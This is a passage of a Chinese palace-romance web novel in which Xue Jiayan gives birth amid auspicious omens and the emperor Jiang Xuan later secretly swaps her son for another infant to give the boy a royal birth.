拾英反应极快,低头一看,见她裙子上头湿了一块,脸色微变,立刻扶紧了她:“夫人,是破水了。您别慌,咱们按之前商量好的来。” 拾英先是将薛嘉言小心搀扶到床上躺下,垫高臀部,随即转身,条理清晰地吩咐起来:派人速去请稳婆和嬷嬷过来;吩咐小厨房不间断烧热水;取出备好的参片、汤药、剪刀、棉布;所有相关仆妇各就各位,不得喧哗慌乱…… 在一片有序的忙碌中,拾英叫来司雨,低声嘱咐:“快去张公公府上报信,就说主子要生了。” 长宜宫内,灯火通明。 姜玄刚沐浴完毕,穿着一身宽松的绫衣,散着微湿的头发,正靠在榻上随手翻阅一卷书,试图让自己从白日里的政事中放松下来。 张鸿宝快步进来的,脸上是混杂着紧张与激动,低声禀告:“陛下,拾英派人送来消息,薛主子发动了。” “啪嗒”一声,姜玄手中的书卷掉落在榻边。他猛地从榻上站起身,动作之大连带着旁边的矮几都晃了一下,上面的茶盏叮当作响。 他一时之间不知道该做些什么,开始在原地踱步,脚步又急又乱,双手无意识地搓动着。 “更衣!备马!”他蓦地停下,声音短促而紧绷。 几乎是同时,长乐宫也收到了皇帝深夜匆匆出宫的消息。 沁芳悄悄走进寝殿,太后脸色有些白,头上带着抹额,正倚在暖阁的窗边,看着窗外被雨丝打湿的朦胧夜色出神。 “娘娘,”沁芳低声禀报,“皇上刚才忽然出宫去了,张公公跟着,看样子很是着急。” 太后眼帘垂了垂,神情有些倦怠和疏淡。她沉默了片刻,才懒懒道:“随他去吧。” 沁芳低声应是,她知道自康王过世,宋家老太君进宫说了一番话后,太后一直郁郁寡欢,连对姜玄的事情也有些提不起兴趣来。 雨夜深沉,宫墙内外,心事各异。一辆不起眼的青篷马车,在细雨中疾驰出宫门,奔向那处牵动着他全部心神的宅邸。而巍峨的长乐宫里,只余一声几不可闻的叹息,消散在潮湿的夜风里。 戚府内,薛嘉言所居的春和院灯火通明。她躺在床上,额角全是细汗。阵痛已经从最初的不规律,变得一阵紧似一阵,如同潮水般涌来,退去,又更猛烈地拍打回来。 为了不让年幼的棠姐儿受惊,薛嘉言已安排司雨和奶娘带着她搬到了西侧小院居住,并嘱咐司雨无论如何哄住孩子,今夜不要过来。 栾氏和戚倩蓉母女听到动静,赶了过来,挤在产房外间,探头探脑。薛嘉言在疼痛间隙听到拾英低声禀报,眉头蹙得更紧,虚弱却坚决地吩咐:“让她们回去……我这里用不着她们,乱糟糟的反而添乱。告诉她们,等明日生了,再来看也不迟。” 拾英领命出去,语气客气将两人请走。栾氏如今全仰薛嘉言鼻息过活,虽有些不情愿,却也不敢违拗,只得拉着戚倩蓉,讪讪地离开了春和院。 拾英刚刚指挥仆妇换了一盆新的热水,一个心腹小丫鬟便悄悄溜进来,在她耳边急急低语了几句。拾英闻言,脸色变了,她定了定神,进了内室俯身在薛嘉言耳边小声道:“主子……张公公那边递了消息来,陛下坚持要过来,已经在路上了。” 薛嘉言正被一阵宫缩攫住,疼得眼前发黑,闻言猛地吸了一口气,竟连疼痛都暂时忘了,只剩下惊骇:“他……他怎么来了?这如何使得?”这里可是戚府,纵然守卫是姜玄的人,但人多眼杂,万一走漏风声…… 拾英握住她冰凉颤抖的手,低声安慰:“您别急,陛下定是安排妥当了才来的。您看,天这么黑,又下着雨,街上早就没人了。苗大人肯定在暗处布置好了,不会有问题的。陛下是太担心您了。” 不多时,外间传来脚步声,门帘被一只修长有力的手猛地掀开。姜玄带着一身夜雨的湿寒气息,快步走了进来。他一进来,目光便锁定在脸色苍白、汗湿鬓发的薛嘉言身上。 姜玄几步跨到床边,直接单膝半跪在脚踏上,一把握住薛嘉言因疼痛而紧攥的手,声音带着焦灼:“言言……我来了。你怎么样?疼得厉害吗?” 薛嘉言看到他,眼眶蓦地一热。她想扯出个笑容让他安心,却正好又是一阵宫缩袭来,疼得她倒抽一口冷气,眉头紧紧锁在一起,话都说不出来,只能用力回握了一下他的手。 姜玄看着她瞬间失去血色的嘴唇和额角滚滚而下的汗珠,比自己受伤还要难受。他腾地站起身,就要往外走:“不行,你疼成这样……我去叫太医!” “别……”薛嘉言强忍过那阵疼痛,喘着气,急忙拉住他的衣袖,“别去……栖真,这是正常的,生孩子……都是这样的。等到真要生的时候,反而……反而没那么疼了。你别慌。” 第193章 生产 姜玄被她拉住,回头看着她明明痛苦不堪却还要强撑安慰自己的模样,心口又疼又涨。他重新蹲下来,用袖子小心翼翼地去擦她额头的汗,哑声道:“好,那我在这儿陪你。你别怕,我在这儿。” 为了转移她的注意力,也为了缓解自己内心的焦灼,姜玄开始没话找话,紧紧握着她的手,说起一些轻松的、关于未来的话题。 “言言,咱们的孩子……你想好叫什么名字了吗?”他问道。 薛嘉言果然被吸引了注意力,疼痛间隙,断断续续地和他讨论起来。男孩的名字,女孩的名字,引经据典,寄托寓意,两人低声细语。 过了一个多时辰,稳婆再次进来查看,仔细检查后,对薛嘉言道:“主子,宫口开得差不多了,快能见到小主子了。您先歇一歇,吃点东西攒攒劲。” 最关键的时刻即将到来。薛嘉言深吸一口气,看向一直守在床边的姜玄,语气变得坚定:“栖真,你先出去吧。” 姜玄立刻摇头:“我不走,我陪着你。” “不行,”薛嘉言态度坚决,“你出去!” 生产过程太过狼狈、血腥,她不愿将这一幕完全暴露在他面前。 “言言……”姜玄还想坚持。 “求你……出去等我,好不好?”薛嘉言看着他,“你在外面,我……我心里更踏实。你在这里,我反而紧张。” 姜玄明白此刻顺从她或许才是最好的支持,他用力握了握她的手,又轻轻抚了抚她的脸颊,终于妥协,声音干涩:“好,我就在外面,一步都不离开。你别怕,我就在门外。” 他站起身,一步三回头地走出了产房。隔着一道门,姜玄听着里面隐隐传来的压抑呻吟,双手紧握成拳,从未觉得时间如此漫长难熬。 细雨依旧密密下着,春和院前面的夹道里走出来一个身影。 栾氏被拾英客气“请”回自己院子后,心里却像有十五个吊桶打水,七上八下。 这可是她们戚家眼下唯一的指望了!万一薛嘉言这一胎是个男丁,那戚家就又有后了。她越想越激动,觉得不能干等着,仿佛自己不在场,那孩子就不是戚家的一样。 栾氏在床上辗转反侧,窗外的雨声滴滴答答,搅得她心烦意乱,于是她爬起来,胡乱披了件外衣,拿起门边的油纸伞,决定再去春和院看看。 夜色深沉,雨丝在灯笼昏黄的光晕中斜斜飘落。府中其他院落大多已熄了灯火,只有春和院方向隐隐有光亮和人声。栾氏撑着伞,深一脚浅一脚地走在湿滑的石子路上。 刚走到距离春和院,栾氏探头张望,目光却猛地凝固了—— 只见春和院的门口,并非寻常仆妇值守,而是笔直地矗立着两个高大的身影!他们穿着深色的劲装,几乎与夜色融为一体,腰间似乎佩着刀柄形状的东西,在雨中一动不动,浑身散发着一股生人勿近的凛冽气息。 “啊——!”极度的惊骇让栾氏喉咙里不受控制地溢出一声短促的尖叫。 然而,那声惊叫刚刚冲出喉咙,一只带着薄茧的大手已经从侧面闪电般伸过来,死死捂住了她的嘴!另一只铁钳般的手臂同时箍住了她的肩膀和手臂,让她半点动弹不得。 栾氏吓得魂飞魄散,眼睛瞪得滚圆,在昏暗的光线下,只看到眼前一个模糊的黑影轮廓,和那双在雨夜中依然锐利如鹰隼的眼睛。冰冷的雨水混合着巨大的恐惧,让她浑身僵硬,连挣扎都忘了,只剩下筛糠般的颤抖和喉咙里被捂住后发出的“呜呜”声。 苗菁闻声赶了过来,他扫了一眼被制住的栾氏,略一沉吟,便下令道:“捆起来,嘴堵严实了,先扔到旁边空屋里看管起来,别让她再出声或乱跑。等里面事了了,再行处置。” “是!”暗卫低声应道,动作麻利地拿出绳索和布团。 栾氏听到“捆起来”、“处置”这样的字眼,更是吓得肝胆俱裂,想要求饶,却连声音都发不出,只能徒劳地瞪大眼睛,流下惊恐的泪水。 春和院产房内,气氛正到了最紧张的时刻。 薛嘉言已经耗了不少力气,汗水浸透了寝衣和头发,黏腻地贴在身上。剧烈的宫缩一阵阵袭来,稳婆在一旁不断鼓励引导:“吸气——好,慢慢吐气……宫口全开了,看到头了!我让您用力的时候您再用力……” 薛嘉言死死咬住嘴唇,从齿缝间漏出的抽气声,尽量让呻吟小声些。 嬷嬷忍不住低声道:“薛主子,您别这么忍着呀!生孩子哪有不疼不叫的?您这么憋着,反而伤身子。您看外头……”她朝着窗户方向努了努嘴,那里,一个高大焦灼的身影正来回踱步,影子被灯光拉长投在窗纸上,显得慌乱无措,“有人心疼着呢,您该叫就叫两声,让他知道您辛苦。” 薛嘉言疼的意识都有些模糊,听到稳婆的话,目光下意识地投向窗户。那里,正映着姜玄来回晃动的、焦急的身影。 下一波更强烈的宫缩如同海啸般席卷而来时,薛嘉言不再死死咬住嘴唇。她仰起头,脖颈拉出一道脆弱的弧线,终于将压抑已久的痛苦宣泄出来: “啊——!……好疼……” 那声音带着哭腔,充满了无助和依赖,清晰地传到了门外。 窗纸上那个踱步的身影猛地顿住,随即变得更加焦躁不安,几乎要贴到门板上,对着里面喊道:“怎么了?怎么了?” 嬷嬷赶紧回道:“您别担心,没事,就是疼,疼得厉害。” 姜玄却依旧焦心,他想到之前薛嘉言的声音很小,这会突然大了,只怕是疼得厉害忍不住了,便道:“言言,你别怕,我在这儿呢,你不必忍着,想叫就叫。” 薛嘉言闻言眼眸微湿,她想到第一次生产的时候,戚少亭坐在门外等着,听到她忍不住呼痛,他说的是:“嘉嘉,你别喊啊,喊多了等会就没力气了,为了孩子,你忍一忍就过去了。” 喊出了这一声后,薛嘉言仿佛卸下了一层沉重的枷锁,在稳婆的指挥下,她随着阵痛规律地用力、喘息,偶尔难以忍受时便低呼或呻吟两声,不再像之前那般全然硬扛。疼痛并未减少,但心理上似乎轻松了一些,力气也仿佛更集中了。 稳婆与嬷嬷交换了一个眼色,继续沉稳地引导:“对,就是这样!再用把力!快出来了,快出来了!” 第194章 异象 时间在剧烈的阵痛与急促的呼吸中仿佛被拉长、凝固。姜玄只觉得时间难熬,两条腿像被抽了的陀螺,转个不停,在旁守卫的薄广看着都觉得眼晕。 薛嘉言的身体底子确实不错,加之并非初产,虽疼痛难忍,进程却比寻常头胎妇人顺利些。 在又一轮几乎将她意识撕裂的宫缩浪潮后,稳婆眼睛一亮,声音带着压抑不住的激动和鼓舞:“夫人!看见头了!头发乌黑浓密!快,就照刚才那样,再来一次,一口气!孩子就要出来了!” 这句话如同最有效的强心剂。薛嘉言咬紧早已备好的软木,双手死死抓住身侧的布条,将全身残存的最后力量凝聚,随着稳婆的号令,拼尽全力—— “哇啊——!” 一声清亮、有力,甚至带着某种穿透力的婴儿啼哭,骤然划破了产房内紧绷到极致的气氛,也穿透了门窗,清晰地传到了外面焦灼守候的人耳中。 生了! 几乎就在这象征着新生命的啼哭响起的同一刹那,窗外持续了几乎一整夜的、淅淅沥沥的缠绵小雨,毫无征兆的,戛然而止。 这不是普通的雨势渐歇,仿佛有一只无形的大手,瞬间抹去了天空所有的水汽,雨声消失得干干净净,天地间一片突兀的寂静。 紧接着,原本被厚重云层遮盖、理应漆黑如墨的夜空,骤然亮了起来!呈现一种柔和的、银辉般的清亮,均匀地洒落,竟将庭院中的草木、石板、乃至屋檐滴落的残雨水珠,都照得清晰可见。 “天……天怎么亮了?” “这才寅时三刻啊!” 守在院中的仆妇、暗卫,甚至见多识广的苗菁,都忍不住抬头望天,脸上写满了难以置信的惊愕。 众人还未从“白昼骤临”的震撼中回过神来,头顶夜空中又传来一阵扑棱棱的密集声响。只见不知从何处飞来一大群鸟雀,种类各异,有常见的麻雀、喜雀,竟也有些羽色鲜亮、平日里罕见的鸟儿。它们并不鸣叫,只是沉默地围绕着春和院的上空,快速地盘旋、飞舞,翅膀划过微亮的空气,发出呼啦啦的声响,仿佛在进行一场无声而庄严的仪式。 盘旋数周后,这群不速之客又如同来时一样突兀,齐齐振翅,呼啦啦飞向来处,迅速消失在依旧透着微光的夜幕深处。 鸟群甫一消失,那笼罩天地的清亮光芒便开始急速变幻,明暗交替了数次,仿佛天空在呼吸,又像是某种力量正在收敛。最终,所有的异象归于平息,光芒彻底敛去,乌云重新合拢,夜色再度沉沉压下,细雨虽未续下,但时辰确确实实还是深夜。 方才那雨霁天光、百鸟来朝的奇景,短暂得如同午夜一场瑰丽而恍惚的梦,了无痕迹。 站在门外、几乎将耳朵贴在门板上的姜玄心中惊疑不定,天生的帝王心性让他对任何异常都抱有本能的警惕与深思,此刻这接连的天象异动,与屋内新生儿的降临如此巧合,绝非寻常! 他正凝神细思,产房内却突然传出一声稳婆略显惊异的低呼,虽然很快压住,但在刚刚经历生死寂静的房间里,依旧清晰可闻。 “怎么了?”姜玄心头一紧,所有关于天象的思绪瞬间抛到脑后,只剩下对薛嘉言的担忧,他的声音带着未加掩饰的急切,“言言怎么了?孩子怎么了?” 房门从里面被拉开一道缝隙,拾英探出半张脸,脸上带着一种混合着疲惫、欢喜与些许不可思议的神情,她压低声音,急促道:“陛下,您快进来看看。” 姜玄闻言,立刻侧身闪入房内。他的目光第一时间便锁定了床上的人,薛嘉言躺在那里,发丝被汗水浸透,凌乱地贴在额角和脸颊,脸色是生产后的虚弱苍白,嘴唇也没什么血色。 当她的目光与姜玄对上时,那双因耗尽力气而有些失焦的眸子,却亮了起来,唇角向上牵起弧度。 看到她还能对自己笑,姜玄高悬的心终于落回实处一半。他快步走到床边,想握她的手,又怕她乏力,只轻轻抚了抚她的脸,哑声道:“你怎么样?” 薛嘉言极轻地摇了摇头,示意自己还好,目光却温柔地飘向一旁。 姜玄顺着她的视线看去,只见稳婆抱着孩子走了过来,语气带着敬畏:“恭喜主子爷,是位健壮的小公子!方才老身给小公子擦洗时,发现小公子后背靠近肩胛处,有一块胎记,生得甚为奇特。” 胎记?姜玄微怔,伸手示意稳婆将孩子抱近些。稳婆小心地将襁褓斜侧过来,露出婴儿稚嫩的后背。在柔和的烛光下,只见婴孩尚且泛着红润的皮肤上,果然有一块印记。那印记颜色不深,呈淡青红色,在灯光下若隐若现,但其形状…… 姜玄凝神细看,心头猛地一跳。 那胎记轮廓蜿蜒曲折,首尾隐约可辨,虽因新生儿皮肤褶皱而略显模糊,但整体观之,似蛇似龙。 蛇……小龙之象?潜龙在渊? 姜玄脑中瞬间闪过无数念头,结合方才门外的雨霁天光、鸟雀来朝,再看这怀中幼子背上天生的蛇形胎记…… 他深吸一口气,压下翻腾的心绪,伸出双臂。稳婆会意,小心翼翼地将婴儿递到姜玄怀中。 姜玄第一次抱这么小的婴儿,那小小的、温热的一团,带着新生命特有的柔软与脆弱。初为人父,姜玄感觉很是新奇,他抱着孩子,转身坐到了薛嘉言的床边。 他将襁褓微微倾斜,让薛嘉言也能看清孩子的脸,然后低下头,看着怀中闭目安睡的幼儿,又抬眼看向薛嘉言,“言言,辛苦你了。” 第195章 帝星 卯时初,天色将明未明,东方天际透出一抹鱼肚白,四周仍是一片寂静。 姜玄俯身在薛嘉言的额头上印下一个轻柔而长久的吻,低声道:“好好休息,我明晚再来看你。” 薛嘉言累极,只轻轻“嗯”了一声,便沉沉闭上了眼睛。 姜玄又深深看了她一眼,这才狠下心,转身步出房间。 走出戚家,微凉的晨风带着雨后的清新扑面而来,姜玄站在空寂无人的街道上,深深吸了一口气,一股难以言喻的、混合着喜悦、后怕、骄傲与某种奇异亢奋的情绪,如同涨潮般在他胸中冲撞激荡。 他得了长子!他与心爱女子的骨血平安降临!那孩子生而伴有异象,背有奇记! 这满心的欢喜与震撼,在深宫之中无人可诉,在臣子面前不能显露,此刻却憋得他心头发胀,急需一个出口,一个能理解、甚至能印证他心中所想的人。 天边那抹鱼肚白又扩大了些,隐隐照出云层的轮廓。 “不回宫里了。”姜玄倏然转身,对身后张鸿宝和苗菁道,“去淮王府。” 淮王府内,和安郡王姜瑜正在占卜。寅时天象突变时,他正因心中有事彻夜未睡,窗外忽然大亮,姜瑜立刻推开窗户,目睹了后半程的异象,心中惊疑不定。作为醉心星象谶纬之人,他深知这等骤变绝非吉兆便是凶兆,且必与人间大事相应。 姜瑜匆匆登上王府中观测天象的小楼,凭栏远眺,但见云气紊乱,星位虽因天色将明而模糊,却隐隐感觉到紫微帝星之侧,似乎有微弱却不容忽视的新光扰动。他心中不安,回到书房后,便净手焚香,取出古钱,郑重其事地起卦推算。 就在这时,下人进来禀报:“郡王!郡王!皇上驾到!已到府门前了!” 姜瑜连忙起身,连外袍都来不及整理,便疾步迎了出去。 在王府正厅,叔侄二人匆匆见礼。姜玄一身常服,带着夜露寒气,脸上却并无倦色,反而有种压抑着兴奋的神采。 “皇上这时候来,不知有何要事?”姜瑜小心问道,一边示意下人上热茶。 姜玄摆摆手,示意不必客套,目光灼灼地看着他:“子青,寅时前后,天象骤变,雨歇光现,鸟雀惊飞,你可看到了?” 果然是为了此事!姜瑜心头一紧,面色变得更加严肃,拱手道:“回皇上,臣确实看到了。彼时臣正在书房,目睹了那奇异景象。心有所感,便上楼观星,并起了一卦。” “哦?”姜玄身体微微前倾,“观星起卦,结果如何?你直言无妨。” 姜瑜犹豫了一下,似乎在斟酌词句,最终还是决定据实以告:“皇上,紫微帝星之侧,有一缕新光隐现,虽微弱,却带着勃然生机与冲和之气,并非寻常辅星或客星。卦象亦显示有新的、与帝星相关的贵气正在孕育勃发,臣有些担忧。” 听完姜瑜带着忧虑的话语,姜玄脸上非但没有阴霾,反而缓缓地地舒展开来,甚至唇角勾起了一抹笑。 他靠回椅背,端起刚刚奉上的热茶,语气轻松道:“子青,此事你无需担忧。” 姜瑜愣住了,不解地看着他。 姜玄饮了一口茶,放下茶盏,目光深邃,看着姜瑜,缓缓道:“天象示警,亦或昭瑞,皆需对应人事。此异象所应之事,朕心中有数。你且放宽心,一切尽在掌控。” 姜瑜连忙收敛神色,躬身道:“皇上圣明烛照,是臣多虑了。” 姜玄满意地点点头,解决了一件心头大事,转而问起另一桩:“对了,三位皇兄近来可有来烦你?” 提到三位皇叔,姜瑜脸上露出一丝苦笑,他叹了口气,道:“回皇上,三位王叔近来颇为焦虑。康王事败后,他们虽未被牵连,但也如坐针毡,上表请求返回封地,一直未得到明确批复。这些日子,他们隔三岔五便派人来臣这里,或委婉或直接地打听消息,请求臣在皇上面前美言几句,放他们早些离京。臣……不堪其扰。” 姜玄闻言,淡淡道:“康王谋逆,虽是其个人野心膨胀所致,但也给朕提了个醒。诸位亲王就藩,虽有护卫朝廷、镇守地方之名,但王府卫兵过多,未必是福。此次康王能勾结边将、煽动部分禁军,与他王府蓄养的私兵脱不了干系。” 姜瑜心中一凛,垂首静听。 姜玄接着道:“让他们不必再寻你打探,也不必再上表陈情。什么时候他们自己想明白了,主动上折子,提出自愿削减王府护卫兵额,并附上详细的削减章程与人员名册,表明忠君体国、维护朝廷法度之心,朕自会体恤他们思乡之情,准其归藩。” 这番话,无疑是给三位王爷划下了一道明确的红线——想走?可以,但必须自剪羽翼,交出部分兵权,以示绝无二心。 姜瑜听得背后泛起一层寒意,连忙躬身:“臣明白。臣会将皇上的意思,转达给三位王叔。” “嗯。”姜玄站起身,看了一眼窗外渐亮的天色,“天快亮了,我该回宫了。前儿张鸿宝收拾私库,找出一块陨铁来,这东西我留着没用,回头让人送来给你。” 陨铁由天上掉落,制成器物据说可掌握天机,姜瑜一听十分高兴,笑着道:“臣多谢陛下赏赐。” 有了儿子之后,薛嘉言整个人的心境都变得柔软而充盈。 棠姐儿也对=弟弟充满了好奇和喜爱,每天清晨醒来,第一件事就是央求奶娘带她去母亲房里,趴在摇篮边,踮着脚尖,睁着圆溜溜的大眼睛,一眨不眨地看着里面酣睡的婴儿。 她不敢大声,只敢伸出短短胖胖的手指,轻轻地去戳弟弟嫩豆腐似的小脸蛋,欢喜地笑着,回头对薛嘉言说:“娘,好软!” 薛嘉言靠在床头,看着女儿天真烂漫的模样和儿子安然的睡颜,只觉岁月静好,莫过于此。 戚倩蓉知道自己有了侄子后,初始也是真心实意地高兴了一阵。戚家有后,于她这个待字闺中的姑娘家而言,总是多了份底气。她跑去春和院看了几次,见那孩子生得玉雪可爱,也不免逗弄两下。只是她很快发现,娘亲栾氏的反应有些奇怪。 “娘,嫂子生了个男孩,这可是咱们戚家的大喜事!您怎么瞧着不大欢喜啊?” 第196章 欢喜与阴谋 “娘,嫂子生了个男孩,这可是咱们戚家的大喜事!您怎么瞧着不大欢喜啊?” 这日从春和院回来,戚倩蓉忍不住问道。 她记得以前父亲和哥哥在时,娘亲是最盼孙子的,嫂子生棠姐儿时,娘亲私下里还惋惜过不是个男娃。 栾氏脸上掠过一丝惊慌,嘴唇都哆嗦了一下。她眼前不由自主地浮现出生产那夜,春和院门口那两个鬼魅般的高大黑影,以及那人的恐吓。 “不想死,就把嘴闭紧,否则,你和你女儿都得死!” 栾氏打了个寒噤,忙不迭地点头道:“欢……欢喜!怎么能不欢喜!” 她的声音却带着不易察觉的颤抖,下意识地左右看了看,对戚倩蓉道:“我……我就是欢喜的……有点不知道说什么好。你嫂子有功,有大功!” 她拉住女儿的手,用力捏了捏,警告道:“倩蓉,你以后在你嫂子面前,更要恭敬些,千万别惹她不快!咱们……咱们都得靠着她,知道吗?” 戚倩蓉被母亲这过激的反应弄得有些莫名其妙,但想到爹和哥哥接连死去,娘亲本就有些惊惶,便也没当回事。 薛嘉言此刻却无暇他顾,她全身心都沉浸在初得麟儿的喜悦和产后调养的忙碌中。 孩子的正式大名,她还没想好。上次和姜玄在一起时,两人兴致勃勃地讨论了许多,男孩女孩的名字都起了好几个,文雅贵气的、寓意深远的都有,但终究没有正式定下一个。姜玄说让她先想想,他也要斟酌。 于是,她便先给孩子起了个小名,叫“阿满”。取“圆满”“丰足”之意,既是祈愿孩子一生顺遂安康,无有缺憾,也暗含了她自己此刻得偿所愿、内心充盈的幸福之感。 她常常轻声唤着“阿满”,看着小家伙无意识地咂咂嘴,便觉得满心欢喜。 她沉浸在这份来之不易的安宁与喜悦里,浑然不知,就在她平安产子的后一天,远在皇家行宫之中的柳美人,艰难生下了一个男婴,她本人因血崩没了。 这消息未被封锁,京中宗室显贵之家都已知道皇上有了一位长子。 拾英几次看着薛嘉言抱着阿满温柔浅笑的模样,话到嘴边又咽了回去。她看着薛嘉言脸色才刚恢复些红润,实在不忍心用外界的烦扰去破坏她的欢愉。 罢了,让她再安心欢喜几日吧,月子最忌忧思。 这期间,也有不少人来探望或送礼,苗菁带着郭晓芸亲自登门,送来了不少实用又贵重的药材、衣物和小孩的金玉饰物。薛千良更是毫不吝啬,派人送来了大笔钱财和城郊的地契,直言是给外孙的见面礼。连那位一直滞留在京城的明真郡主,得了消息后,也派人送来了一份贺礼来。 而礼物送得最多、最频繁、也最用心的,自然是姜玄。尽管他不能时时亲身前来,但各种珍玩、补品、衣料……,如同流水一般,源源不断地送入春和院。 而他本人亦是隔几日就要趁夜来一趟,薛嘉言有种错觉,他们竟似真的夫妻一般,他不过是外出做生意的夫郎,做完生意就回家看看她和孩子。 这天晚上,薛嘉言半靠在床头,身上搭着锦被,正一瞬不瞬地看着身旁摇篮里酣睡的婴儿。 姜玄坐在床边的绣墩上,微微倾身,手轻轻扶着摇篮边缘,目光同样落在那张小脸上,唇角弯弯,冷峻的眉眼异常温柔。 孩子睡得正香,小拳头松松握着,搁在腮边,偶尔咂咂嘴,引来两人会心的相视一笑。 “看了一整天,还看不够?”姜玄低声开口。 “怎么看都看不够。”薛嘉言轻声答,目光依旧流连在孩子脸上,“总觉得他一天一个样,睡着的模样和醒着时又不同。” 姜玄伸手,用指腹轻轻碰了碰孩子嫩豆腐似的脸颊,心也跟着变得柔软温暖。 薛嘉言忽想起一事,小声问道:“你觉得哪个名字适合他?” 姜玄沉吟了一下,目光落在孩子恬静的睡颜上,又抬眼看了看薛嘉言,缓声道:“‘晏’,如何?海晏河清的‘晏’。” 薛嘉言微微一怔,随即在唇齿间细细品味这个字:“晏,挺好的……” 两人极有默契地没有去提姓氏的问题,薛嘉言想着她和姜玄之间的关系没有暴露,姜玄到现在也没有提起要把孩子带走,这孩子又是生在戚家,只怕这辈子只能姓戚了,她不想提起这个让姜玄心里难受,真心实意地赞道:“晏,安也,静也。寓意极好。海晏河清,更是天下太平的盛世景象。这名字起得好。” 她说着,又低头去看孩子,眼中柔情满溢,“小阿满,爹爹给你起了个好名字呢,叫‘晏’,你喜欢吗?” 她自然而然说出的“爹爹”二字,让姜玄心尖像是被羽毛轻轻搔过,又暖又痒,却又带着一丝酸涩。他脸上依旧带着笑,可若细看,便能发现他眼底深处翻涌着极为复杂的情绪。 这日午后,蝉鸣阵阵,薛嘉言半躺在榻上,襁褓中的阿满白嫩可爱,躺在他身侧的棠姐儿酣然睡着,再想到那个虽不能常伴左右却处处为她思虑周全的男人,薛嘉言只觉得前世所有的痛苦皆被抚慰。 窗外夏意渐浓,草木葳蕤,她只愿时光就此停驻,让这份偷来的圆满,能延续得更久一些。 孩子满月的前一夜,长宜宫内的气氛压抑得如同暴风雨前的深海。鎏金仙鹤烛台上的火光燃烧着,却照不亮御座之上帝王晦暗的脸色。 姜玄端坐着,面沉如水,眉宇间凝结着一股化不开的沉郁,显然心情极为不佳。 “孩子抱来了?”他开口,声音在空旷的殿内响起,带着一丝干涩。 苗菁心头发紧,躬身回道:“回陛下,抱来了。就在偏殿,由嬷嬷暂时看顾。孩子还算康健,只是有些瘦小,哭起来也细声细气,太医瞧过,说是有些先天不足,应是早产的缘故,但并无大碍,养养就好了。” 姜玄闭了闭眼,手指撑着额头,半晌没有说话。 “把他送过去吧。”姜玄低低道,“就今夜。阿满先送到西郊行宫去,过两日,把他带回来办满月。” 他的声音听着平静,却难掩言语间的滞涩。让阿满离开生母,哪怕是暂时的,也如同在他心口剜肉。 “臣遵旨。”苗菁深深一揖,喉咙发堵。 退出长宜宫,踏入浓重的夜色,苗菁抬头望了一眼无星无月的天空,发出一声叹息。 第197章 他不是阿满 戚府,春和院。夜已深,大部分仆役都已歇下,只有正房还亮着灯。 苗菁抱着一个包裹得严严实实的襁褓,如同影子,悄无声息地出现在院中。 拾英早已等候在廊下,怀里紧紧搂着的,正是睡得香甜的阿满。看到苗菁抱着另一个孩子过来,拾英的眼泪瞬间就涌了出来,大颗大颗地滚落,她死死咬住嘴唇,不敢发出一点呜咽。 没有多余的言语,只有沉重的、心照不宣的伤感弥漫在两人之间。苗菁走上前,与拾英交换了襁褓。 拾英怀里抱着那个轻了许多的小小身躯,只觉得心被挖了一块,她流着泪想,她都这么难受,等明日薛嘉言看到孩子被换走了,该是如何悲伤。 天色渐亮,薛嘉言悠悠转醒,生产满月,她的气色恢复了不少,只是昨夜心中莫名有些不安,睡得并不踏实。 “司雨,”她撑起身,唤道,“倒杯温水来,再把阿满抱过来我瞧瞧。” 司雨端着温水进来,眼睛却是红肿的,显然刚刚哭过。她低着头,不敢看薛嘉言,将水杯递过去的手都有些抖。 薛嘉言接过水杯,一眼就瞧见了她的异样,心头猛地一跳:“司雨,你怎么了?眼睛红成这样?谁欺负你了?还是……阿满怎么了?”她的声音不自觉地绷紧了。 司雨红着眼睛,哽咽着不敢说话,她怕一说话,就忍不住哭出声来。 薛嘉言心中的不安迅速扩大,她匆忙起身,急切地奔去了厢房。 厢房的床上,有个孩子躺在被窝里正睡着,薛嘉言稍稍松了一口气,走过去坐到床边,低头看去,脸上温柔的笑意瞬间凝固—— 这不是她的阿满! 虽然同样包裹在精致的襁褓里,可这张小脸没有一处像她的阿满! 一股寒意从脚底瞬间窜遍全身,薛嘉言只觉得头皮发麻,浑身的血液仿佛都在这一刻倒流了。她猛地抬起头,眼神锐利如刀,死死盯住随后进来的司雨和拾英,声音因震惊和愤怒而颤抖: “阿满呢?这是谁?我的儿子在哪里?!” 拾英反手关紧了房门,隔绝了内外。她快步走到床前,“噗通”一声直挺挺跪下,仰起满是泪痕的脸,看着薛嘉言瞬间惨白如纸的面容,哽咽着,几乎泣不成声: “主子……阿满……阿满被抱走了……就在昨夜……” 薛嘉言的心跳得快要冲出胸腔,她不必再问,抱走阿满的,只能是姜玄。 拾英泪如雨下,艰难地说道:“行宫里的柳美人,前些日生下了一位皇子。” 薛嘉言脑中嗡嗡作响。 “柳美人生孩子……跟我的阿满有什么关系?”薛嘉言的声音嘶哑了,“难道她的孩子没了?皇上用我的阿满去顶上吗?” “不……不是的,主子!”拾英用力摇头,“柳美人她根本没有真正承宠过!她是皇上早就安排好,您不便入宫,可阿满总得有个出身……” 薛嘉言摇摇欲坠,这就是姜玄说的妥善法子吗?这就是他筹谋了许久想出来的对策吗? 巨大的荒谬感、被彻底欺骗背叛的痛楚、以及骨肉被强行剥离的恐惧,如同洪流,瞬间将她淹没。她浑身冰冷,止不住地颤抖,连呼吸都变得困难。 但下一秒,属于母亲的力量从绝望深处猛然迸发出来。薛嘉言死死攥着床单,眼睛因充血而泛红,却亮得骇人。 “我要见他!”她猛地看向拾英,声音斩钉截铁,带着不容置疑的决绝,“拾英,你去找路子,无论用什么办法,告诉他,我要马上见到他!现在!立刻!” 她的胸膛剧烈起伏,每一个字都像是从齿缝里迸出来的,充满了濒临崩溃边缘的愤怒、质问。她要亲口问那个男人,他怎么能如此狠心!她要她的阿满回来! 拾英含泪应下:“主子,您别着急,保重身子要紧,我……我这就去想办法。” 房门轻轻合上,室内只剩下薛嘉言压抑的呼吸声和司雨低低的啜泣。死寂般的空气中,那份被强行剥离骨肉的痛楚如同冰冷的潮水,一层层漫上来,几乎要将薛嘉言溺毙。 就在这时,床上那个陌生的婴孩,仿佛感受到了周遭沉重悲伤的气氛,也或许是真的饿了、不舒服了,突然“哇”的一声啼哭起来。那哭声不像阿满那般中气十足、清亮有力,而是细细的、弱弱的,带着一股可怜劲儿。 薛嘉言她低头看着那张哭得通红的小脸,想到自己那不知被带到何处、是否安好的阿满,再想到这个被换来的孩子也同样离开了生母,成了这场冷酷算计中的棋子……同为人母,那种心碎与无力感瞬间将她淹没。 “我的阿满……我可怜的孩子……” 